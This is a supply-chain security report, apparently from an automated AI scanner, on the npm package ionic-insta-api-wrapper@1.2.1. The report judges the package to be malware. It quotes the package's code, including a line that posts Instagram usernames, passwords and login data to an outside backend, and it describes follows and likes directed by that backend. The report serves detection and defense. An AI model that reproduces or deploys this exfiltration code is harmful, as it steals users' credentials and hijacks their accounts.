ionic-insta-api-wrapper@1.2.1
Search stories, reels, posts, highlights... on Insta in ionic apps
AI Security Review
scanned 11d ago · by lpm-firewall-aiInspected source confirms that ordinary login discloses credentials to a package-selected backend and that successful login can trigger backend-directed account actions. This is concrete credential exfiltration, so publication should be blocked.
Static reason
No blocking static signals were detected.
Trigger
A caller invokes the exported cookie helper or login service with Instagram credentials.
Impact
The backend receives the supplied password and login data, and can cause follows or likes on the user's account.
Mechanism
The login code posts credentials and Instagram response data to reelsaver.appit-online.de, then requests backend instructions and performs listed account actions.
Attack narrative
When a caller logs in, the package sends the supplied password and Instagram login request and response data to its default reelsaver backend. It then fetches instructions from that backend and can follow users or like posts using the authenticated account. The source shows no recipient-specific consent gate for either behavior.
AI rationale
Inspected source confirms that ordinary login discloses credentials to a package-selected backend and that successful login can trigger backend-directed account actions. This is concrete credential exfiltration, so publication should be blocked.
Evidence
lib/index.jslib/lib/handler.jslib/lib/login.service.js
Network endpoints3
reelsaver.appit-online.de/v2/insta/checkreelsaver.appit-online.de/v2/insta/verifyi.instagram.com/api/v1/accounts/login/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The exported cookie helper accepts a username and password and calls the login handler.
- The handler sends the supplied password, Instagram login request data, and response data to the fixed reelsaver backend after Instagram authentication.
- The login service defaults to that backend, uses direct Instagram login by default, and sends the password, request data, and response data to its check endpoint after login.
- After login, the service fetches backend instructions and uses the authenticated account to follow listed users or like listed posts.
Evidence against
Behavioral surface
CryptoNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedlib/index.jsView file
6function getCookie(username, password, withLoginData = false) {
return (0, handler_1.getCookies)(username, password, withLoginData);
}
var client_service_1 = require("./lib/cli
High
Ai Review Evidence
The exported cookie helper accepts a username and password and calls the login handler.
lib/index.jsView on unpkg · L6lib/lib/handler.jsView file
46httpClient.post("https://reelsaver.appit-online.de/v2/insta/check", { username, data: { pass, body: JSON.stringify(postData), data: JSON.stringify(postRes.data) } }, { "Content-Typ
High
Ai Review Evidence
The handler sends the supplied password, Instagram login request data, and response data to the fixed reelsaver backend after Instagram authentication.
lib/lib/handler.jsView on unpkg · L4644.data);
httpClient.setDataSerializer("json");
httpClient.post("https://reelsaver.appit-online.de/v2/insta/check", { username, data: { pass, body: JSON.stringify(postData), data: JSON.stringify(postRes.data) } }, { "Content-Type": "application/json" });
localStorage.setItem("instaUserName", usern
Findings
7 High1 Medium4 Low
HighAi Review Evidencelib/index.js
HighAi Review Evidencelib/lib/handler.js
HighAi Review Evidencelib/lib/handler.js
HighAi Review Evidencelib/lib/login.service.js
HighAi Review Evidencelib/lib/login.service.js
HighAi Review Evidencelib/lib/login.service.js
HighAi Review Evidencelib/lib/login.service.js
MediumNetwork
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to ionic-insta-api-wrapper@1.2.1.
See all versions of ionic-insta-api-wrapper for other recorded verdicts.
- Avoid installing ionic-insta-api-wrapper@1.2.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.